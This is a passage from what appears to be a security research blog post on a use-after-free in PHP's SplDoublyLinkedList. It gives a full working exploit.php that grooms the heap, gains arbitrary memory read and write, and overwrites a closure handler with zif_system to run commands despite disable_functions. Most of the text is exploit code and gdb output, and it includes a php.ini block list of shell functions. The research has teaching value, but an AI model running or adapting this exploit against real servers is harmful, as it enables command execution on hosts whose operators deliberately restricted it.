$SLEEP_TIME = 3;

# The freed object spl_ptr_llist_element is placed in the 4th bin where objects
# size are from 33 (0x21) to 40 (0x28) bytes. Moreover it is noted that:
#     sizeof(spl_ptr_llist_element) = 0x28
# The first field of a struct zend_string is called gc of type
# zend_refcounted_h:
#     sizeof(zend_refcounted_h) = 0x8
# The second field of a struct zend_string is called h of type zend_ulong:
#     sizeof(zend_ulong) = 0x8
# Then there is the field called len of type size_t:
#     sizeof(size_t) = 0x8
# But we need to count the trailing "\0" added at the val[len] of the zend_string
# struct:
#     sizeof(char) = 0x1
# So if we want to allocate a zend_string in the space freed by a
# spl_ptr_llist_element struct, our string must be of length:
#     0x28 - 0x8 - 0x8 - 0x8 - 0x1 = 15 (0xf).
$LEN_TO_FIT_IN_FREED_CHUNK = 0x28 - 0x8 - 0x8 - 0x8 - 0x1;

# This variable corresponds to the number of times the len field of struct
# zend_string must be incremented.
$INCREMENTATION_NUMBER = 100;

# Hole's offset in the $heap_massage array.
$HOLE_OFFSET = $INCREMENTATION_NUMBER - ($INCREMENTATION_NUMBER/2);


global $rcis, $heap_massage;


function str2ptr(&$str, $offset = 0, $size = 8, $endianness = "l") {
    $address = 0;
    if ($endianness === "l") {
        for($i = $size - 1; $i >= 0; $i--) {
            $address <<= 8;
            $address |= ord($str[$offset+$i]);
        }
    }
    return $address;
}


# This class allows us to exploit the Use After Free bug.
class Trigger {
    # Using this specific __destruct() function, when SplDoublyLinkedList::pop()
    # is called, we can execute further instructions and therefore take advantage
    # of the bug.
    function __destruct() {
        global $DEBUG, $SLEEP_TIME, $LEN_TO_FIT_IN_FREED_CHUNK, $INCREMENTATION_NUMBER, $HOLE_OFFSET;
        global $rcis, $heap_massage, $second_primitive;
        print "[*] Triggering bug ...\n";

        # In the last element of the array we delete the first element of the
        # list which will free a chunk of size 0x28.
        $rcis[$INCREMENTATION_NUMBER]->pop();

        # We allocate a zend_string object which will reclaim the space freed by
        # the spl_ptr_llist_element struct. Using str_shuffle() make sure the
        # freed space is reclaimed.
        $first_primitive = str_shuffle(str_repeat("B", $LEN_TO_FIT_IN_FREED_CHUNK));
        print "[+] \$first_primitive's len is: 0x" . dechex(strlen($first_primitive)) . "\n";

        # We make the iterators point to the first element (which has been freed) of
        # the list which results in incrementing its reference counter (rc). But in
        # reality it is the len field of the zend_string that is incremented.
        print "[*] Changing \$first_primitive len field ...\n";
        for ($i=0; $i<=$INCREMENTATION_NUMBER; $i++) {
            $rcis[$i]->prev();
        }

        # The length of our string was 0xf. If it is greater than or equal to 0x10 that means
        # that it was incremented by at least 0x1 after the call to prev().
        if (strlen($first_primitive) >= 0x10) {
            # At this moment the first part of the exploit was successful.
            print "[+] \$first_primitive's len is now: 0x" . dechex(strlen($first_primitive)) . "\n";
        } else {
            # A response code other than 0 is a failure.
            print "[x] Exploit failed (len did not changed)..\n";
            exit(1);
        }

        # From now on, we have a read and write primitive in memory space:
        #     (@$first_primitive + 0x18) <-> (@$first_primitive + 0x18 + 0x74($first_primitive's len))
        # I invite you to read the following post:
        #     https://therealcoiffeur.com/b12.html

        # Leaking of an address from the heap and let's defeat ASLR.
        unset($heap_massage[$HOLE_OFFSET + 2]);
        unset($heap_massage[$HOLE_OFFSET + 1]);
        # Because the ($HOLE_OFFSET + 1)th element is now the head of the free
        # list, it will point onto ($HOLE_OFFSET + 2)th element which have been
        # free before. In the 4th bin the struct are at a distance of 0x28 bytes
        # from each other. And when we read, we start reading from offset 0x18
        # within the zend_string struct.

        # The following point should be noted: 0x28 - 0x18 = 0x10
        $offset = 0x10;
        $leak = str2ptr($first_primitive, $offset, 0x8, "l");
        print "[*] Leaking heap address:\n\t0x" . dechex($leak) . " at offset 0x" . dechex($offset) . "\n";

        # Identification of the first object freed by unset() ($elt52th).
        $elt52th = $leak;
        print "[+] " . intval($HOLE_OFFSET + 2) . "th elt is at address: 0x" . dechex($elt52th) . "\n";
        # Identification of the second object freed by unset() ($elt51th).
        $offset = 0x28;
        $elt51th = $elt52th - $offset;
        print "[+] " . intval($HOLE_OFFSET + 1) . "th elt is at address: 0x" . dechex($elt51th) . "\n";
        # Identification of the memory address under our control ($elt50th).
        $elt50th = $elt51th - $offset;
        print "[+] " . intval($HOLE_OFFSET + 0) . "th elt (\$first_primitive) is at address: 0x" . dechex($elt50th) . "\n";
    }
}


# This class is a kind of trampoline, it will serve us by exploiting the Use After Free
# to map several objects in the same memory space.
class ReferenceCounterIncrementer {
    # We use the class constructor to store the index of the object in the array.
    function __construct($i) {
        $this->i = $i;
    }

    # We use the destructor of the class to exploit the UAF several times in a row
    # so that all spl_ptr_llist_element are allocated in the same memory space and
    # therefore all traverse_pointer->prev point to the same memory space.
    function __destruct() {
        global $rcis;

        $rcis[$this->i]->pop();
        $rcis[$this->i+1]->add(0, 1337);
        # Initialize the iterator.
        $rcis[$this->i+1]->rewind();
        # The iterator will point to the second element of the list.
        $rcis[$this->i+1]->next();
        $rcis[$this->i+1]->pop();
    }
}


# We create an array containing ReferenceCounterIncrementer objects that will
# allow us to increase a reference counter (using SplDoublyLinkedList's prev()
# function) and therefore the len field of a zend_string object.
$rcis = [];
for($i = 0; $i<$INCREMENTATION_NUMBER; $i++) {
    $rcis[$i] = new SplDoublyLinkedList();
    $rcis[$i]->push(new ReferenceCounterIncrementer($i));
    # Initialize the iterator.
    $rcis[$i]->rewind();
}

# Massage the heap.
$heap_massage = array();
for ($i=0; $i<100; $i++) {
    $heap_massage[$i] = str_shuffle(str_repeat("A", $LEN_TO_FIT_IN_FREED_CHUNK));
}

# Make a hole in the heap.
unset($heap_massage[$HOLE_OFFSET]);

# Fill the hole in the heap.
$rcis[0]->add(0, 1337);
# Initialize the iterator.
$rcis[0]->rewind();
# The iterator will point to the second element of the list.
$rcis[0]->next();

# We create an SplDoublyLinkedList object $rcis[$INCREMENTATION_NUMBER] with
# one value, an object (Trigger) with a specific __destruct().
$rcis[$INCREMENTATION_NUMBER] = new SplDoublyLinkedList();
$rcis[$INCREMENTATION_NUMBER]->push(new Trigger());
# We call $rcis[$INCREMENTATION_NUMBER]->rewind() so that the iterator current
# element (spl_dllist_object->traverse_pointer) points to the first object
# of the doubly linked list.
$rcis[$INCREMENTATION_NUMBER]->rewind();

# When we call $rcis[0]->pop(), it calls the underlying C function:
#     SPL_METHOD(SplDoublyLinkedList, pop) in ext/spl/spl_dllist.c
# Which gonna try to call a destructor specific to the ReferenceCounterIncrementer object.
$rcis[0]->pop();

The script which gives us the following result:

alt-text

One step away from victory (bypass disabled functions)

The ability to read and write in the memory can be useful to bypass the disabled functions.

To disable the use of some functions in the php interpreter, write the following file:

File: php.ini

# list of function to disable globally
disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source

It is not possible to directly call system() but its address is still present in the process memory. So we will have to read the memory of our process to find its address. However, so far we have only been able to read the memory present after our corrupted object, so we will need to read the memory prior to this object.

Several strategies can be established to call system(), but ours is the following:

  • Read process memory.
  • Identify system() address (zif_system handler).
  • Overwrite a function handler with system() address.

For your information, anonymous functions are called closures.

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callable parameters, but they have many other uses.

Anonymous functions are implemented using the Closure class. - https://www.php.net/manual/en/functions.anonymous.php

zend_closure

File: Zend/zend_closures.c

typedef struct _zend_closure {
  zend_object       std;
  zend_function     func;
  zval              this_ptr;
  zend_class_entry *called_scope;
  void (*orig_internal_handler)(INTERNAL_FUNCTION_PARAMETERS);
} zend_closure;

What we are interested in this object are func->internal_function->type and func->internal_function->handler because it is thoses values that we will modify to be able to call system(). We want func->internal_function->type to be equal to 1 and func->internal_function->handler to take the address of system().

We will need to obtain the offsets of these values within the structure zend_closure in order to rewrite them:

  • func->internal_function->type needs to be set to 1.
  • func->internal_function->handler needs to be set to system()’s address.

Why func->internal_function->type needs to be set to 1?

Because in the following file:

File: Zend/zend_closures.c

static void zend_closure_free_storage(zend_object *object) /* {{{ */
{
  zend_closure *closure = (zend_closure *)object;

  zend_object_std_dtor(&closure->std);

  if (closure->func.type == ZEND_USER_FUNCTION) {

    ...

    destroy_op_array(&closure->func.op_array);
  }

  ...

ZEND_USER_FUNCTION is set to 2, and we don’t want to enter the if condition. I also tested values greater than 2 (eg. 3, 4, …, 16, etc.) but this triggers the following exception:

Fatal error: Uncaught Error: Cannot call overloaded function for non-object in ...

We are, therefore, forced to make func->internal_function->type equal to 1.

type

Command:
print &((zend_closure)*0x7ffff585cf00)->func->internal_function->type
Output:
(zend_uchar *) 0x7ffff585cf38 "\002"

We calculate the offset using python:

>>> hex(0x7ffff585cf38-0x7ffff585cf00)
'0x38'

handler

Command:
print &((zend_closure)*0x7ffff585cf00)->func->internal_function->handler
Output:
(void (**)(zend_execute_data *, zval *)) 0x7ffff585cf68

We calculate the offset using python:

>>> hex(0x7ffff585cf68-0x7ffff585cf00)
'0x68'
  • func->internal_function->type: 0x38
  • func->internal_function->handler: 0x68

Reading arbitrary memory

To read the memory in an arbitrary way we will use function strlen() which is actually more a macro than a function.

File: Zend/zend_string.h

#define ZSTR_LEN(zstr)  (zstr)->len

So let’s imagine that we want to read the content of the address X, we will have to subtract 16 from this address to compensate the decallage introduced by strlen(). So we will make our resource point to X-0xa (X-16).

Now that we are able to read in the memory in an arbitrary way, let’s find the ELF header using functions written by mm0r1:

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak_through_len($addr, 0, 7);
        # Looking for ELF header
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

And parse the ELF binary:

function parse_elf($base) {
    $e_type = leak_through_len($base, 0x10, 2);
    $e_phoff = leak_through_len($base, 0x20);
    $e_phentsize = leak_through_len($base, 0x36, 2);
    $e_phnum = leak_through_len($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type = leak_through_len($header, 0, 4);
        $p_flags = leak_through_len($header, 4, 4);
        $p_vaddr = leak_through_len($header, 0x10);
        $p_memsz = leak_through_len($header, 0x28);

        # PT_LOAD, PF_Read_Write
        if($p_type == 1 && $p_flags == 6) { 
            # Handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        }
        # PT_LOAD, PF_Read_exec
        else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

We need to get the address of basic_functions in order to find the address of system() (zif_system handler) but first let’s explore what we are looking for using gdb:

Command:
print basic_functions_module
Output:
{
  size = 168,
  zend_api = 20151012,
  zend_debug = 0 '\000',
  zts = 0 '\000',
  ini_entry = 0x0,
  deps = 0x555555e65ba0 <standard_deps>,
  name = 0x555555d66b39 "standard",
  functions = 0x555555ebfb00 <basic_functions>,
  module_startup_func = 0x555555841280 <zm_startup_basic>,
  module_shutdown_func = 0x555555840c90 <zm_shutdown_basic>,
  request_startup_func = 0x55555583d160 <zm_activate_basic>,
  request_shutdown_func = 0x55555583d470 <zm_deactivate_basic>,
  info_func = 0x55555583d670 <zm_info_basic>,
  version = 0x555555d96d97 "7.0.1",
  globals_size = 0,
  globals_ptr = 0x0,
  globals_ctor = 0x0,
  globals_dtor = 0x0,
  post_deactivate_func = 0x0,
  module_started = 0,
  type = 1 '\001',
  handle = 0x0,
  module_number = 21,
  build_id = 0x55555598aeae "API20151012,NTS"
}


Command:
print basic_functions_module->functions
Output:
(const struct _zend_function_entry *) 0x555555ebfb00 <basic_functions>


Command:
print basic_functions_module->functions[0]
Output:
{
  fname = 0x555555d75b2e "constant",
  handler = 0x55555583d7c0 <zif_constant>,
  arg_info = 0x555555e6d900 <arginfo_constant>,
  num_args = 1,
  flags = 0
}


Command:
print &basic_functions_module->functions[0]
Output:
(const struct _zend_function_entry *) 0x555555ebfb00 <basic_functions>


Command:
&basic_functions_module->functions[1]
Output:
(const struct _zend_function_entry *) 0x555555ebfb20 <basic_functions+32>


function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak_through_len($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "constant"
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak_through_len($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "bin2hex"
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

Once we have the address of basic_functions_module->functions we need to iterate until we find the address of system().

Command:
print basic_functions_module->functions[118]
Output:
{
  fname = 0x555555d75f2f "system",
  handler = 0x555555847c00 <zif_system>,
  arg_info = 0x555555e6c4a0 <arginfo_system>,
  num_args = 2,
  flags = 0
}
function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak_through_len($addr);
        $f_name = leak_through_len($f_entry, 0, 6);
        # Looking for "system"
        if($f_name == 0x6d6574737973) {
            return leak_through_len($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

Once system() address has been obtained, we only have to create a fake zend_closure by copying an existing one and replacing its handler with the one of zif_system.

POC

If we put everything together since the beginning, we get the following results:

alt-text

File: exploit.php

<?php

# This variable allows to manage the verbosity during debug (when using gdb).
$DEBUG = 0;
# This variable is the time the script will wait before calling the var_dump()
# function. Function on which we have placed a breakpoint in gdb (php_var_dump in ext/standard/var.c):
#     (gdb) break php_var_dump
$SLEEP_TIME = 3;

# The freed object spl_ptr_llist_element is placed in the 4th bin where objects
# size are from 33 (0x21) to 40 (0x28) bytes. Moreover it is noted that:
#     sizeof(spl_ptr_llist_element) = 0x28
# The first field of a struct zend_string is called gc of type
# zend_refcounted_h:
#     sizeof(zend_refcounted_h) = 0x8
# The second field of a struct zend_string is called h of type zend_ulong:
#     sizeof(zend_ulong) = 0x8
# Then there is the field called len of type size_t:
#     sizeof(size_t) = 0x8
# But we need to count the trailing "\0" added at the val[len] of the zend_string
# struct:
#     sizeof(char) = 0x1
# So if we want to allocate a zend_string in the space freed by a
# spl_ptr_llist_element struct, our string must be of length:
#     0x28 - 0x8 - 0x8 - 0x8 - 0x1 = 15 (0xf).
$LEN_TO_FIT_IN_FREED_CHUNK = 0x28 - 0x8 - 0x8 - 0x8 - 0x1;

# This variable corresponds to the number of times the len field of struct
# zend_string must be incremented.
$INCREMENTATION_NUMBER = 100;

# Hole's offset in the $heap_massage array.
$HOLE_OFFSET = $INCREMENTATION_NUMBER - ($INCREMENTATION_NUMBER/2);


global $rcis, $heap_massage;


# Object use to help bypass disabled functions.
class Helper {
    public $a, $b;
}


function str2ptr(&$str, $offset = 0, $size = 8, $endianness = "l") {
    $address = 0;
    if ($endianness === "l") {
        for($i = $size - 1; $i >= 0; $i--) {
            $address <<= 8;
            $address |= ord($str[$offset+$i]);
        }
    }
    return $address;
}


function write(&$str, $offset, $value, $size = 8) {
    for($i = 0; $i < $size; $i++) {
        $str[$offset + $i] = chr($value & 0xff);
        $value >>= 8;
    }
}


function leak_through_len($address, $offset = 0, $size = 8) {
    global $second_primitive, $helper;

    write($second_primitive, 0x28, $address + $offset - 0x10);
    $leak = strlen($helper->a[0]);
    if($size != 8) {
        $leak %= 2 << ($size * 8) - 1;
    }
    return $leak;
}


function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak_through_len($addr, 0, 7);
        # Looking for ELF header
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}


function parse_elf($base) {
    $e_type = leak_through_len($base, 0x10, 2);
    $e_phoff = leak_through_len($base, 0x20);
    $e_phentsize = leak_through_len($base, 0x36, 2);
    $e_phnum = leak_through_len($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type = leak_through_len($header, 0, 4);
        $p_flags = leak_through_len($header, 4, 4);
        $p_vaddr = leak_through_len($header, 0x10);
        $p_memsz = leak_through_len($header, 0x28);

        # PT_LOAD, PF_Read_Write
        if($p_type == 1 && $p_flags == 6) {
            # Handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        }
        # PT_LOAD, PF_Read_exec
        else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}


function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak_through_len($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "constant"
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak_through_len($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak_through_len($leak);
            # Looking for "bin2hex"
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}


function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak_through_len($addr);
        $f_name = leak_through_len($f_entry, 0, 6);
        # Looking for "system"
        if($f_name == 0x6d6574737973) {
            return leak_through_len($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}


# This class allows us to exploit the Use After Free bug.
class Trigger {
    # Using this specific __destruct() function, when SplDoublyLinkedList::pop()
    # is called, we can execute further instructions and therefore take advantage
    # of the bug.
    function __destruct() {
        global $DEBUG, $SLEEP_TIME, $LEN_TO_FIT_IN_FREED_CHUNK, $INCREMENTATION_NUMBER, $HOLE_OFFSET;
        global $rcis, $heap_massage, $second_primitive, $helper;
        print "[*] Triggering bug ...\n";

        # In the last element of the array we delete the first element of the
        # list which will free a chunk of size 0x28.
        $rcis[$INCREMENTATION_NUMBER]->pop();

        # We allocate a zend_string object which will reclaim the space freed by
        # the spl_ptr_llist_element struct. Using str_shuffle() make sure the
        # freed space is reclaimed.
        $first_primitive = str_shuffle(str_repeat("B", $LEN_TO_FIT_IN_FREED_CHUNK));
        print "[+] \$first_primitive's len is: 0x" . dechex(strlen($first_primitive)) . "\n";

        # We make the iterators point to the first element (which has been freed) of
        # the list which results in incrementing its reference counter (rc). But in
        # reality it is the len field of the zend_string that is incremented.
        print "[*] Changing \$first_primitive len field ...\n";
        for ($i=0; $i<=$INCREMENTATION_NUMBER; $i++) {
            $rcis[$i]->prev();
        }

        # The length of our string was 0xf. If it is greater than or equal to 0x10 that means
        # that it was incremented by at least 0x1 after the call to prev().
        if (strlen($first_primitive) >= 0x10) {
            # At this moment the first part of the exploit was successful.
            print "[+] \$first_primitive's len is now: 0x" . dechex(strlen($first_primitive)) . "\n";
        } else {
            # A response code other than 0 is a failure.
            print "[x] Exploit failed (len did not changed)..\n";
            exit(1);
        }

        # From now on, we have a read and write primitive in memory space:
        #     (@$first_primitive + 0x18) <-> (@$first_primitive + 0x18 + 0x74($first_primitive's len))
        # I invite you to read the following post:
        #     https://therealcoiffeur.com/b12.html

        # Leaking of an address from the heap and let's defeat ASLR.
        unset($heap_massage[$HOLE_OFFSET + 2]);
        unset($heap_massage[$HOLE_OFFSET + 1]);
        # Because the ($HOLE_OFFSET + 1)th element is now the head of the free
        # list, it will point onto ($HOLE_OFFSET + 2)th element which have been
        # free before. In the 4th bin the struct are at a distance of 0x28 bytes
        # from each other. And when we read, we start reading from offset 0x18
        # within the zend_string struct.

        # The following point should be noted: 0x28 - 0x18 = 0x10
        $offset = 0x10;
        $leak = str2ptr($first_primitive, $offset, 0x8, "l");
        print "[*] Leaking heap address:\n\t0x" . dechex($leak) . " at offset 0x" . dechex($offset) . "\n";

        # Identification of the first object freed by unset() ($elt52th).
        $elt52th = $leak;
        print "[+] " . intval($HOLE_OFFSET + 2) . "th elt is at address: 0x" . dechex($elt52th) . "\n";
        # Identification of the second object freed by unset() ($elt51th).
        $offset = 0x28;
        $elt51th = $elt52th - $offset;
        print "[+] " . intval($HOLE_OFFSET + 1) . "th elt is at address: 0x" . dechex($elt51th) . "\n";
        # Identification of the memory address under our control ($elt50th).
        $elt50th = $elt51th - $offset;
        print "[+] " . intval($HOLE_OFFSET + 0) . "th elt (\$first_primitive) is at address: 0x" . dechex($elt50th) . "\n";

        # We allocate a new string whose length we will be modify by our first
        # primitive. The new zend_string object should take the space left
        # from $heap_massage[intval($HOLE_OFFSET + 1)].
        $second_primitive = str_shuffle(str_repeat("C", $LEN_TO_FIT_IN_FREED_CHUNK));
        print "[+] \$second_primitive is at address: 0x" . dechex($elt51th) . "\n";
        print "[+] \$second_primitive's len is: 0x" . dechex(strlen($second_primitive)) . "\n";

        print "[*] Changing \$second_primitive len field ...\n";
        # @$heap_massage[intval($HOLE_OFFSET + 1) - @$primitive = 40 (0x28).
        # When we write, we start writing to the zend_string structure
        # at offset 24 (0x18) where val[1] takes place, so:
        #     40-24 (0x28-0x18) = 16 (0x10)
        # Then in the zend_string strucure there is the zend_refcounted_h gc
        # and zend_ulong h field before what we are interested in size_t len.
        write($first_primitive, 0x20, 0x4444444444444444, 0x8);

        $second_primitive_len = strlen($second_primitive);
        if ($second_primitive_len == 0x4444444444444444) {
            print "[+] \$second_primitive's len is now: 0x" . dechex(strlen($second_primitive)) . "\n";
        } else {
            print "[x] Exploit failed (len did not changed).\n";
            exit(1);
        }
        # From now on, we have another read and write primitive in memory space:
        #     (@$second_primitive + 0x18) - (@$second_primitive + 0x18 + 0x4444444444444444)

        # The new spl_ptr_llist_element object should take the space left
        # from $heap_massage[intval($HOLE_OFFSET + 2)].
        $helper->a->push([1338]);

        $offset = 0x28;
        print "[+] Leaking helper->a[0] address:\n\t0x" . dechex($elt52th) . " at offset 0x" . dechex($offset) . "\n";
        $helper_a_array_address = str2ptr($second_primitive, $offset, 0x8, "l");
        print "[*] Leaking helper->a[0] zend_array address:\n\t0x" . dechex($helper_a_array_address) . " at offset 0x" . dechex($offset) . "\n";

        print "[*] Changing \$helper->a[0] type field from IS_ARRAY (7) to IS_STRING (6) ...\n";
        # @$heap_massage[intval($HOLE_OFFSET + 2) - @$second_primitive = 40 (0x28).
        # When we write, we start writing to the zend_string structure at offset
        # 24 (0x18) where val[1] takes place, so:
        #     40-24 (0x28-0x18) = 16 (0x10).
        # But we want to overwrite the type field which is after prev, next, rc
        # and value.
        # Write fake type (6 == IS_STRING).
        write($second_primitive, 0x30, 0x6, 0x8);
        if(gettype($helper->a[0]) == "string") {
            print "[+] \$helper->a[0] is now a string.\n";
        } else {
            exit("Exploit failed (type did not changed)");
        }

        print "[*] Leaking memory using strlen() trick ...\n";
        $leak_check_one = leak_through_len($elt50th, 0x18, 0x8);
        $leak_check_two = leak_through_len($elt51th, 0x18, 0x8);
        echo "    Leaks: - 0x". dechex($leak_check_one) . "\n";
        echo "\t   - 0x" . dechex($leak_check_two) . "\n";
        if ($leak_check_one == 0x4242424242424242 and $leak_check_two == 0x4343434343434343) {
            print "[+] Arbitrary read acquired.\n";
        }

        # Inside zend_array we have the following fields:
        # sizeof(gc)=0x8, sizeof(u)=0x4, sizeof(nTableMask)=0x4, sizeof(raData)=0x8
        # sizeof(nNumUsed)=4, sizeof(nNumOfElements)=4, sizeof(nTableSize)=4,
        # sizeof(nInternalPointer)=4, sizeof(nNextFreeElement)=0x8
        $binary_leak = leak_through_len($helper_a_array_address, 0x30, 0x8);
        print "[+] Binary leak at: 0x" . dechex($binary_leak) . "\n";

        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
        print "[+] Binary base is at: 0x" . dechex($base) . "\n";

        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
        print "[+] ELF header is at: 0x" . dechex($elf[0]) . "\n";

        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't basic_functions_module->functions address");
        }
        print "[+] basic_functions_module->functions start at: 0x" . dechex($basic_funcs) . "\n";

        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        print "[+] zif_system is at: 0x" . dechex($zif_system) . "\n";

        unset($heap_massage[$HOLE_OFFSET + 3]);
        $helper->b->push(function ($x) {});

        $offset = 0x50;
        print "[+] helper->b[0] address: 0x" . dechex($elt51th + $offset) . "\n";
        $helper_b_object_address = str2ptr($second_primitive, $offset, 0x8, "l");
        print "[*] Leaking helper->b[0] zend_closure address: \n\t0x" . dechex($helper_b_object_address) . " at offset 0x" . dechex($offset) . "\n";

        # Creating a copy of $helper->b[0] (zend_closure) further in memory.
        $fake_zend_closure = $elt51th + 0x18 + 0x400;
        print "[*] Creating fake zend_closure by copying helper->b[0] zend_closure at: 0x" . dechex($fake_zend_closure) . "\n";
        for($i = 0; $i < 0x130; $i += 8) {
            write($second_primitive, 0x400 + $i, leak_through_len($helper_b_object_address, $i));
        }

        # Overwriting fake zend_closure type and handler.
        print "[*] Changing fake zend_closure's type ...\n";
        write($second_primitive, 0x400 + 0x38, 1, 4);
        print "[*] Overwriting fake zend_closure's handler with zif_system ...\n";
        write($second_primitive, 0x400 + 0x68, $zif_system);

        # Overwriting $helper->b[0] std (zval) value field with address of
        # $fake_zend_closure.
        print "[*] Overwriting \$helper->b[0]->std->value with address of \$fake_zend_closure ...\n";
        write($second_primitive, $offset, $fake_zend_closure);

        print "[*] Triggering system ...\n";
        ($helper->b[0])("id");
    }
}


# This class is a kind of trampoline, it will serve us by exploiting the Use After Free
# to map several objects in the same memory space.
class ReferenceCounterIncrementer {
    # We use the class constructor to store the index of the object in the array.
    function __construct($i) {
        $this->i = $i;
    }

    # We use the destructor of the class to exploit the UAF several times in a row
    # so that all spl_ptr_llist_element are allocated in the same memory space and
    # therefore all traverse_pointer->prev point to the same memory space.
    function __destruct() {
        global $rcis;

        $rcis[$this->i]->pop();
        $rcis[$this->i+1]->add(0, 1337);
        # Initialize the iterator.
        $rcis[$this->i+1]->rewind();
        # The iterator will point to the second element of the list.
        $rcis[$this->i+1]->next();
        $rcis[$this->i+1]->pop();
    }
}


# As explained in object's class definition this object is used
# to help bypass disabled functions.
$helper = new Helper;
$helper->a = new SplDoublyLinkedList();
$helper->b = new SplDoublyLinkedList();


# We create an array containing ReferenceCounterIncrementer objects that will
# allow us to increase a reference counter (using SplDoublyLinkedList's prev()
# function) and therefore the len field of a zend_string object.
$rcis = [];
for($i = 0; $i<$INCREMENTATION_NUMBER; $i++) {
    $rcis[$i] = new SplDoublyLinkedList();
    $rcis[$i]->push(new ReferenceCounterIncrementer($i));
    # Initialize the iterator.
    $rcis[$i]->rewind();
}

# Massage the heap.
$heap_massage = array();
for ($i=0; $i<100; $i++) {
    $heap_massage[$i] = str_shuffle(str_repeat("A", $LEN_TO_FIT_IN_FREED_CHUNK));
}

# Make a hole in the heap.
unset($heap_massage[$HOLE_OFFSET]);

# Fill the hole in the heap.
$rcis[0]->add(0, 1337);
# Initialize the iterator.
$rcis[0]->rewind();
# The iterator will point to the second element of the list.
$rcis[0]->next();

# We create an SplDoublyLinkedList object $rcis[$INCREMENTATION_NUMBER] with
# one value, an object (Trigger) with a specific __destruct().
$rcis[$INCREMENTATION_NUMBER] = new SplDoublyLinkedList();
$rcis[$INCREMENTATION_NUMBER]->push(new Trigger());
# We call $rcis[$INCREMENTATION_NUMBER]->rewind() so that the iterator current
# element (spl_dllist_object->traverse_pointer) points to the first object
# of the doubly linked list.
$rcis[$INCREMENTATION_NUMBER]->rewind();

# When we call $rcis[0]->pop(), it calls the underlying C function:
#     SPL_METHOD(SplDoublyLinkedList, pop) in ext/spl/spl_dllist.c
# Which gonna try to call a destructor specific to the ReferenceCounterIncrementer object.
$rcis[0]->pop();

Thank you for taking the time to read.